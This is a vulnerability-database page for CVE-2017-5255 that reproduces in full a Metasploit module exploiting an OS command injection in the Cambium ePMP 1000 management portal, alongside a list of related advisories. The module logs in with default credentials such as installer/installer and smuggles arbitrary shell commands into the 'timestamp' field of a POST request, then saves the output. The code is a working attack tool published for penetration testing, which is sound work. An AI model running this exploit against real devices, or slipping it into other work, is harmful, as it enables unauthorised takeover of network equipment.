Lucene search
K

Cambium ePMP 1000 'get_chart' Command Injection (v3.1-3.5-RC7)

🗓️ 22 Dec 2017 18:44:27Reported by Karn Ganeshen <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

Cambium ePMP 1000 'get_chart' Command Injection vulnerability in device management porta

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cambium ePMP1000 3.1-3.5-RC7 Command Injection Exploit
29 Dec 201700:00
zdt
Circl
CVE-2017-5255
1 Jan 201800:00
circl
CNVD
Cambium Networks ePMP Command Injection Vulnerability
21 Dec 201700:00
cnvd
CVE
CVE-2017-5255
20 Dec 201722:00
cve
Cvelist
CVE-2017-5255
20 Dec 201722:00
cvelist
Exploit DB
Cambium ePMP1000 - &#039;get_chart&#039; Shell via Command Injection (Metasploit)
1 Jan 201800:00
exploitdb
Metasploit
Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)
22 Dec 201718:44
metasploit
Metasploit
Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)
22 Dec 201700:06
metasploit
NVD
CVE-2017-5255
20 Dec 201722:29
nvd
OSV
CVE-2017-5255
20 Dec 201722:29
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::EPMP

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Cambium ePMP 1000 'get_chart' Command Injection (v3.1-3.5-RC7)",
      'Description' => %{
          This module exploits an OS Command Injection vulnerability in Cambium
          ePMP 1000 (v3.1-3.5-RC7) device management portal. It requires any one of the
          following login credentials - admin/admin, installer/installer, home/home - to
          execute arbitrary system commands.
      },
      'Author' =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'References' =>
        [
          ['CVE', '2017-5255'],
          ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
        ],
      'License' => MSF_LICENSE
     )
    )

    register_options(
      [
        Opt::RPORT(80),	# Application may run on a different port too. Change port accordingly.
        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),
        OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd'])
      ], self.class
    )

    deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
  end

  def run_host(ip)
    unless is_app_epmp1000?
      return
    end
  end

  # Command Execution
  def cmd_exec(config_uri, cookie)
    command = datastore['CMD']
    inject = '|' + "#{command}"
    clean_inject = CGI.unescapeHTML(inject.to_s)

    print_status("#{rhost}:#{rport} - Executing #{command}")
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => config_uri,
        'cookie' => cookie,
        'headers' => {
          'Accept' => '*/*',
          'Accept-Language' => 'en-US,en;q=0.5',
          'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
          'X-Requested-With' => 'XMLHttpRequest',
          'Connection' => 'close'
        },
        'vars_post' =>
          {
            'measure' => 's', # This parameter can also be used for injection
            'timestamp' => clean_inject,
            'debug' => 0
          }
      }, 25
    )

    good_response = (
      res &&
      res.code == 200
    )

    if good_response
      path = store_loot('ePMP_cmd_exec', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 Command Exec Results')
      print_status("#{rhost}:#{rport} - Results saved in: #{path}")
    else
      print_error("#{rhost}:#{rport} - Failed to execute command(s).")
    end
  end

  #
  # Login & initiate cmd_exec
  #

  def do_login(epmp_ver)
    if (epmp_ver < '3.1' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
      print_error('This module is applicable to versions 3.1-3.5-RC7 only. Exiting now.')
      return
    elsif (epmp_ver >= '3.1' && epmp_ver < '3.4.1') # <3.4.1 uses login_1
      cookie, _blah1, _blah2, config_uri_get_chart = login_1(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)
      if cookie == 'skip' && config_uri_get_chart == 'skip'
        return
      else
        cmd_exec(config_uri_get_chart, cookie)
      end
    elsif ['3.4.1', '3.5', '3.5-RC7'].include?(epmp_ver) # 3.4.1+ uses login_2
      cookie, _blah1, _blah2, config_uri_get_chart = login_2(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)
      if cookie == 'skip' && config_uri_get_chart == 'skip'
        return
      else
        cmd_exec(config_uri_get_chart, cookie)
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
0.8Low risk
Vulners AI Score0.8
CVSS 29
CVSS 38.8
EPSS0.74556
43